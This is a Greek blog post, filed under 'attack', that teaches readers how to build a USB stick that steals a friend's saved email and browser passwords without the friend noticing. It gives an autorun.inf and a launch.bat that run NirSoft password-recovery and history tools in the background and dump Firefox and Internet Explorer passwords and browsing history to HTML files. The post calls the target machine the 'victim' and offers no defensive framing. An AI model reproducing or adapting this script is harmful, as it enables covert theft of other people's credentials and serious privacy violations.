Τότε αρχίζουν τα πανηγύρια!!!
Πώς θα σας φαινόταν το γεγονός να μπορείτε να βάλετε το φλασάκι σας στον υπολογιστή κάποιου φίλου σας και να του παίρνατε μέσα σε 10 δευτερόλεπτα πχ τον κωδικό του μαιλ του??Και αυτό μπροστά στα μάτια του χωρίς να καταλάβει τίποτα!!!
Πάμε να δούμε πως θα το κάνουμε...
Καταρχήν πάμε να χωρίσουμε σε partitions το φλασάκι μας με κάποιο πρόγραμμα όπως το <<Διαχειριστής κατατμήσεων του KDE>> που χρησιμοποιώ εγώ στο ubuntu μου!!!
Τα partitions τα δημιουργήσαμε για να μπορούμε να έχουμε 2 φλασάκια σε 1!!!
Πρώτο Partition
Στο πρώτο θα πάμε να βάλουμε την live διανομή του bactrack με το γνωστό εργαλείο Unetboot.
Και στο άλλο θα κάνουμε τις hackerίες μας!!!
Να θυμάστε ότι πάντα χρειαζόμαστε μια ολοκληρωμένη σουίτα εφαρμογών γιαυτό και στο πρώτο partision βάλαμε το Backtrack.
Δεύτερο Partition
Στο δεύτερο partision έχουμε ώς στόχο να μπορούμε να το συνδέουμε σε κάποιον υπολογιστή και να αντιγράφει βασικά αρχεία για εμάς.
Καταρχήν θα χρησιμοποιήσουμε πολύ το nirsoft το οποίο είναι ένα σίτε που περιέχει όλα τα εργαλία που θα χρεισιμοποιήσουμε.
Για αρχή κατεβάστε τα αρχεία που έχω παίξει εγώ από εδώ
Όταν τα αποσυμπιέσετε θα δείτε ότι έχω δημιουργήσει ένα autorun.inf ένα launc.bat και μετά έχω αρχεία που κατέβασα από το nirsoft!
Το αρχείο autorun.inf δέν κάνει τίποτα άλλο από το να καλεί το αρχείο launch.bat αυτόματα με το που βάζουμε το φλασάκι μας στον υπολογιστή θύμα.
Το αρχείο launch.bat περιέχει τις εντολές που πρέπει να εκτελεστούν δηλαδή
@echo off
start passwordfox\PasswordFox.exe /shtml passwordfox.html
start iepv\iepv.exe /shtml iepv.html
start mozillahistoryview\mozillahistoryview.exe /shtml mozillahistoryview.html
Η εντολή @echo off μας εξασφαλίζει την εκτέλεση του αρχείου μας στο παρασκήνιο χωρίς να φανεί τίποτα στην επιφάνεια εργασίας μας και το καταλάβει το θύμα.
Με την εντολή start ξεκινάμε μια εφαρμογή και μετά δίνουμε το που βρίσκετε το exe μας
κενό
και μετά η εντολή /shtml την οποία την βρήκα στο nirsoft με την οποία το πρόγραμμα πχ PasswordFox μου δημιουργεί ένα html αρχείο με τους κωδικούς που διάβασε από τον Firefox.
Εσείς αν κατεβάσετε και άλλα προγράμματα μην ξεχάσετε να τα συμπληρώσετε.
Παραπάνω λεπτομέρειες για το κάθε πρόγραμμα που συμπληρώνετε θα βρείτε στην σελίδα nirsoft.
Εάν έχετε usb flash U3 (που είναι και το καλύτερο για την περίπτωσή μας) τότε δείτε το Βίντεο που ακολουθεί!!
Και τέλος να και ένα βοήθημα από τα μεγαλύτερα σίτε που ασχολούνται με θέματα ασφαλείας το irongeek.com
Download here
Posted in: Επίθεση,usb
